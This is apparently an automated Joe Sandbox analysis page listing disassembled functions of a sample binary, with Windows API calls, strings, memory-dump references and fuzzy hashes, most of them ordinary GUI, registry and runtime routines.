Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: FreeString$ClearVariant
String ID:
API String ID: 3349467263-0
Opcode ID: 4a58fbb225a2fce4e96c6b3d3fef4f7e5c10f5cde4fd159727c4ed86734b3cd6
Instruction ID: d151c50cc6bd0b404945a1303f62b0d198eee01f47ec1073862221912eaef73a
Opcode Fuzzy Hash: 4a58fbb225a2fce4e96c6b3d3fef4f7e5c10f5cde4fd159727c4ed86734b3cd6
Instruction Fuzzy Hash: 2F515D71E00319EFDF20EFA4E884AEEBBB9BF08300F90452AF555A7150D7789955CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0042D717 Relevance: 10.7, APIs: 7, Instructions: 154COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0042D8B2
VariantClear.OLEAUT32(?), ref: 0042D8D9
SysFreeString.OLEAUT32(?), ref: 0042D93D
SysFreeString.OLEAUT32(?), ref: 0042D952
SysFreeString.OLEAUT32(?), ref: 0042D967

Memory Dump Source

Source File: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: FreeString$ClearVariant
String ID:
API String ID: 3349467263-0
Opcode ID: f8144347606935d44715553dcabef8512d41d4be27142094d4e387c2cc9881f5
Instruction ID: 53aae2873ea59daa80941dbbe4e8aa903fbf7bb4d0a1552b06bc64d0b7892529
Opcode Fuzzy Hash: f8144347606935d44715553dcabef8512d41d4be27142094d4e387c2cc9881f5
Instruction Fuzzy Hash: 8D515D71E00319EFDF20EFA4E884AEEBBB9BF08300F90452AF555A7150D7789955CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0042D6D6 Relevance: 10.7, APIs: 7, Instructions: 153COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0042D8B2
VariantClear.OLEAUT32(?), ref: 0042D8D9
SysFreeString.OLEAUT32(?), ref: 0042D93D
SysFreeString.OLEAUT32(?), ref: 0042D952
SysFreeString.OLEAUT32(?), ref: 0042D967

Memory Dump Source

Source File: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: FreeString$ClearVariant
String ID:
API String ID: 3349467263-0
Opcode ID: 7face730e7ea03213b5efd70eacd7ec68c2f0d51a1f73f596c044cdcc9c12fd8
Instruction ID: 78637e40a941fc69885a3deb517414403bef0f341df32ec1c30b1b6a81e673a2
Opcode Fuzzy Hash: 7face730e7ea03213b5efd70eacd7ec68c2f0d51a1f73f596c044cdcc9c12fd8
Instruction Fuzzy Hash: A2517F71E00319EFDF20EFA4E884AEEBBB9BF04300F90452AF555A7150D7749A45CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0042D6F6 Relevance: 10.7, APIs: 7, Instructions: 153COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0042D8B2
VariantClear.OLEAUT32(?), ref: 0042D8D9
SysFreeString.OLEAUT32(?), ref: 0042D93D
SysFreeString.OLEAUT32(?), ref: 0042D952
SysFreeString.OLEAUT32(?), ref: 0042D967

Memory Dump Source

Source File: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: FreeString$ClearVariant
String ID:
API String ID: 3349467263-0
Opcode ID: 84b6905a04f3cbe8a5a89647b25fc7c97e8888fb23e746bbd921fa75cfd3bebd
Instruction ID: ac7c056ca3fef7ea1f7cd9142080b8837a63ee409403f1a6f7d78ffac25b1746
Opcode Fuzzy Hash: 84b6905a04f3cbe8a5a89647b25fc7c97e8888fb23e746bbd921fa75cfd3bebd
Instruction Fuzzy Hash: 4A519F71E00319EFCF20EFA4E884AEEBBB9BF04300F90452AF551A7151D7789945CB98

Uniqueness

Uniqueness Score: -1.00%

Function 004241E6 Relevance: 10.6, APIs: 7, Instructions: 115windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00424214
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 0042423B
UpdateWindow.USER32(?), ref: 00424255
SendMessageA.USER32(?,00000121,00000000,?), ref: 00424279
SendMessageA.USER32(?,0000036A,00000000,00000004), ref: 00424293
UpdateWindow.USER32(?), ref: 004242D9
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 0042430D

Part of subcall function 0042663C: GetWindowLongA.USER32(?,000000F0), ref: 00426648

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Message$Window$PeekSendUpdate$LongParent
String ID:
API String ID: 2853195852-0
Opcode ID: 443e82fd054304042dfa914eb5858c3173381fb830609d78dbd8dc54ea1c93a7
Instruction ID: 89365fabb3662f47a8456e8abc8f74eacdd1bee40569780c245ffab03503297d
Opcode Fuzzy Hash: 443e82fd054304042dfa914eb5858c3173381fb830609d78dbd8dc54ea1c93a7
Instruction Fuzzy Hash: 5941E430304360DFD721DF22EC44A2BBAF4FFD1B98F90097EF481921A1C7699849C62A

Uniqueness

Uniqueness Score: -1.00%

Function 004019F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91windowCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32(?,00000000,?,?,?,?,?,0042DD38,000000FF), ref: 00401A16
AppendMenuA.USER32(?,00000800,00000000,00000000), ref: 00401A7D
AppendMenuA.USER32(?,00000000,00000010,00000010), ref: 00401A88

Part of subcall function 00401820: FindResourceA.KERNEL32(?,?,00000006), ref: 0040183A

SendMessageA.USER32(?,00000080,00000001,?), ref: 00401AC5
SendMessageA.USER32(?,00000080,00000000,?), ref: 00401AD9

Strings

user-12345678, xrefs: 00401ADB

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Menu$AppendMessageSend$FindResourceSystem
String ID: user-12345678
API String ID: 858472958-2755188220
Opcode ID: c756d84365dae25f8462fd63b73cac35b8282b64e018d40d228abaed280fe13c
Instruction ID: 3b30e15d64c7f474da2be64c65720a04101d9d6b3a2cd516c52670f7795c8fad
Opcode Fuzzy Hash: c756d84365dae25f8462fd63b73cac35b8282b64e018d40d228abaed280fe13c
Instruction Fuzzy Hash: 84317E71340701AFD320EF65CC45F17B3A8EF88710F508A2AF5519B2D1CBB8E8058B68

Uniqueness

Uniqueness Score: -1.00%

Function 004145C5 Relevance: 10.6, APIs: 7, Instructions: 86windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000002), ref: 004145E0
GetParent.USER32(?), ref: 004145F1
GetWindow.USER32(?,00000002), ref: 00414614
GetWindow.USER32(?,00000002), ref: 00414626
GetWindowLongA.USER32(?,000000EC), ref: 00414635
IsWindowVisible.USER32(?), ref: 0041464F
GetTopWindow.USER32(?), ref: 00414675

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Window$LongParentVisible
String ID:
API String ID: 506644340-0
Opcode ID: 45eadc8b458de43bde7c9e092fd1932caba4420e0a9f48f5c06109cc70392342
Instruction ID: ebd6f0984fa48f2bf8ba37bc0dad7d39dec8952187d8cbd4be4ea4dd5bc4bcd7
Opcode Fuzzy Hash: 45eadc8b458de43bde7c9e092fd1932caba4420e0a9f48f5c06109cc70392342
Instruction Fuzzy Hash: 6121F5317007216BC7306B659C09FAB77ACEFC2798F45053ABA41DB251C72CDC4686AC

Uniqueness

Uniqueness Score: -1.00%

Function 0042340F Relevance: 10.6, APIs: 7, Instructions: 71registryCOMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(?,?,?), ref: 0042342F
RegisterClassA.USER32(00000004), ref: 00423442

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Class$InfoRegister
String ID:
API String ID: 2278207768-0
Opcode ID: ae984635e655e5db520392ed793df418be20265cf8730173f5c4cd27a1fe2e35
Instruction ID: 0db0b4e4c4e337a484aff126d2be670c2f0469505d5c1c4381f3c1d533b8c960
Opcode Fuzzy Hash: ae984635e655e5db520392ed793df418be20265cf8730173f5c4cd27a1fe2e35
Instruction Fuzzy Hash: 8A21D831600214EFCB11EF61DD44BAE7BF8EF44715F80456AF84692150C738E606DB69

Uniqueness

Uniqueness Score: -1.00%

Function 0042BC08 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,software,00000000,0002001F,?,?,00000000), ref: 0042BC36
RegCreateKeyExA.ADVAPI32(?,00000000,00000000,00000000,00000000,0002001F,00000000,?,?,?,00000000), ref: 0042BC59
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?,?,00000000), ref: 0042BC75
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0042BC85
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0042BC8F

Strings

software, xrefs: 0042BC1E

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CloseCreate$Open
String ID: software
API String ID: 1740278721-2010147023
Opcode ID: a07ef03d32e418125c98845893222a59e1d7b78c696368899b11d02bf983a4c5
Instruction ID: 64b97b5fe25ac38e929414c9c763e2fcce4b8d3dd38ef5aad07515420139dc36
Opcode Fuzzy Hash: a07ef03d32e418125c98845893222a59e1d7b78c696368899b11d02bf983a4c5
Instruction Fuzzy Hash: 0411CB76A00258FB9B21DF9ADD84CDFBFBCEF85700B5000BAA504A2111D7719A45DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040D05C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 61stringCOMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 0040D09A
GetSystemMetrics.USER32(00000000), ref: 0040D0B2
GetSystemMetrics.USER32(00000001), ref: 0040D0B9
lstrcpyA.KERNEL32(?,DISPLAY), ref: 0040D0DD

Strings

DISPLAY, xrefs: 0040D0D4
B, xrefs: 0040D079

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: System$Metrics$InfoParameterslstrcpy
String ID: B$DISPLAY
API String ID: 1409579217-3316187204
Opcode ID: aa875fb899d8b8cdc6035337f91c3cfdfa7e814ee4d75c511dac12003764187e
Instruction ID: 7d79b360eed3925eabdee55bcf9e6e46b2a378b8c0ece8e258d689888b9aa654
Opcode Fuzzy Hash: aa875fb899d8b8cdc6035337f91c3cfdfa7e814ee4d75c511dac12003764187e
Instruction Fuzzy Hash: 3211C671A00224DBCF219FA4DC8095BBBB8EF05744F408077FD09BA141C274D916CBE9

Uniqueness

Uniqueness Score: -1.00%

Function 0042BF90 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000000,00000000,004282FD,?,?,?,?), ref: 0042BF99
SetErrorMode.KERNEL32(00000000), ref: 0042BFA1
GetModuleHandleA.KERNEL32(user32.dll), ref: 0042BFEC
GetProcAddress.KERNEL32(00000000,NotifyWinEvent), ref: 0042BFFC

Part of subcall function 0042BE69: GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 0042BEA5
Part of subcall function 0042BE69: PathFindExtensionA.SHLWAPI(?), ref: 0042BEB2
Part of subcall function 0042BE69: lstrcpyA.KERNEL32(?,.HLP,?,?,00000104), ref: 0042BF3D
Part of subcall function 0042BE69: lstrcatA.KERNEL32(?,.INI,?,?,00000104), ref: 0042BF6A

Strings

NotifyWinEvent, xrefs: 0042BFF6
user32.dll, xrefs: 0042BFE7

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: ErrorModeModule$AddressExtensionFileFindHandleNamePathProclstrcatlstrcpy
String ID: NotifyWinEvent$user32.dll
API String ID: 4004864024-597752486
Opcode ID: c693ce6a2e765cc9099c900ab09abb04ea83f55a69a3113b2ed044f042921076
Instruction ID: 8050f7acd3555061b9cb0811210370212b3dde1f57db23d13128c8b76d78117c
Opcode Fuzzy Hash: c693ce6a2e765cc9099c900ab09abb04ea83f55a69a3113b2ed044f042921076
Instruction Fuzzy Hash: 89016D75B40260DFC720EF65E904A5A3BA4EF04700F8684AFF944D7362DB78D840CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00418741 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 34COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(76170A60,76170A60,00000000,?,00419CD6,00419D7E,00415EBE,?,0043A478,00000060), ref: 0041875C

Part of subcall function 004153EC: HeapFree.KERNEL32(00000000,?,0043A458,0000000C,00418764,76170A60,?,00419CD6,00419D7E,00415EBE,?,0043A478,00000060), ref: 00415451

DeleteCriticalSection.KERNEL32(00000000,00000000,?,00419CD6,00419D7E,00415EBE,?,0043A478,00000060), ref: 00418786

Strings

`FD, xrefs: 0041876B
@ED, xrefs: 00418749
@ED, xrefs: 00418773
`FD, xrefs: 0041878B

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CriticalDeleteSection$FreeHeap
String ID: @ED$@ED$`FD$`FD
API String ID: 447823528-2709115982
Opcode ID: 11b09ba00ba531dec1240bf4f5251c78e4240dee3c1046bbdde13b47f6cc61b2
Instruction ID: df23414061cf168004c6de2c13b304607e6d267cc1c22f5936ebd44bd2e4ff4c
Opcode Fuzzy Hash: 11b09ba00ba531dec1240bf4f5251c78e4240dee3c1046bbdde13b47f6cc61b2
Instruction Fuzzy Hash: 7FF0A732D4032457EA306909ACC4BE6A2E89FD1722735403FDCB893250CB3DDCC1826D

Uniqueness

Uniqueness Score: -1.00%

Function 00426E74 Relevance: 10.5, APIs: 7, Instructions: 29COMMON

Download Yara Rule

APIs

GetSysColor.USER32(0000000F), ref: 00426E80
GetSysColor.USER32(00000010), ref: 00426E87
GetSysColor.USER32(00000014), ref: 00426E8E
GetSysColor.USER32(00000012), ref: 00426E95
GetSysColor.USER32(00000006), ref: 00426E9C
GetSysColorBrush.USER32(0000000F), ref: 00426EA9
GetSysColorBrush.USER32(00000006), ref: 00426EB0

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Color$Brush
String ID:
API String ID: 2798902688-0
Opcode ID: 217f39869b888a1c3749961ae9e7e8c44d1ab5d44a913a51842b180abdde359a
Instruction ID: 849f2a7d79a27e67f6fb90856910374a9d4c7919ec4fb8f2b3bca5a51304e481
Opcode Fuzzy Hash: 217f39869b888a1c3749961ae9e7e8c44d1ab5d44a913a51842b180abdde359a
Instruction Fuzzy Hash: D6F0F871A407489BD730BB729D09B47BAE1FFC4B10F42093EE2818BA90E6B6E0419F44

Uniqueness

Uniqueness Score: -1.00%

Function 025C81C2 Relevance: 9.4, APIs: 6, Instructions: 379memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 025C7530: GetFileInformationByHandle.KERNEL32(?,?), ref: 025C7559
Part of subcall function 025C7530: GetFileInformationByHandleEx.KERNEL32(?,00000009,?,00000008), ref: 025C758C

SetFilePointerEx.KERNEL32(?,00000000,00000000,?,00000001), ref: 025C825E
HeapFree.KERNEL32(00000000,00000000), ref: 025C82DF
HeapFree.KERNEL32(00000000,?), ref: 025C82F0

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: File$FreeHandleHeapInformation$Pointer
String ID:
API String ID: 1293978381-0
Opcode ID: dc664c260c91812ab4554c73750211dbec525b391e51e12b5801d7689d327623
Instruction ID: dc23025c4b355437162575c2e93ab0608df6f2f27e0ce2ac762b94bfa2d3693b
Opcode Fuzzy Hash: dc664c260c91812ab4554c73750211dbec525b391e51e12b5801d7689d327623
Instruction Fuzzy Hash: 10F1F574600B00CFD725CF69C588B66BBF2BB49314F24892DD99A8BBA1E771F845CB44

Uniqueness

Uniqueness Score: -1.00%

Function 0040C9F9 Relevance: 9.2, APIs: 6, Instructions: 249memoryCOMMON

Download Yara Rule

APIs

MapDialogRect.USER32(?,?), ref: 0040CA8F
SysAllocStringLen.OLEAUT32(?,00000000), ref: 0040CAB0
CLSIDFromString.OLE32(?,?), ref: 0040CBAE
CLSIDFromProgID.OLE32(?,?), ref: 0040CBB6
SetWindowPos.USER32(00000004,?,00000000,00000000,00000000,00000000,00000013,00000001,00000000,?,00000000,?,?,?,0000FC84,00000000), ref: 0040CC52
SysFreeString.OLEAUT32(?), ref: 0040CCA5

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
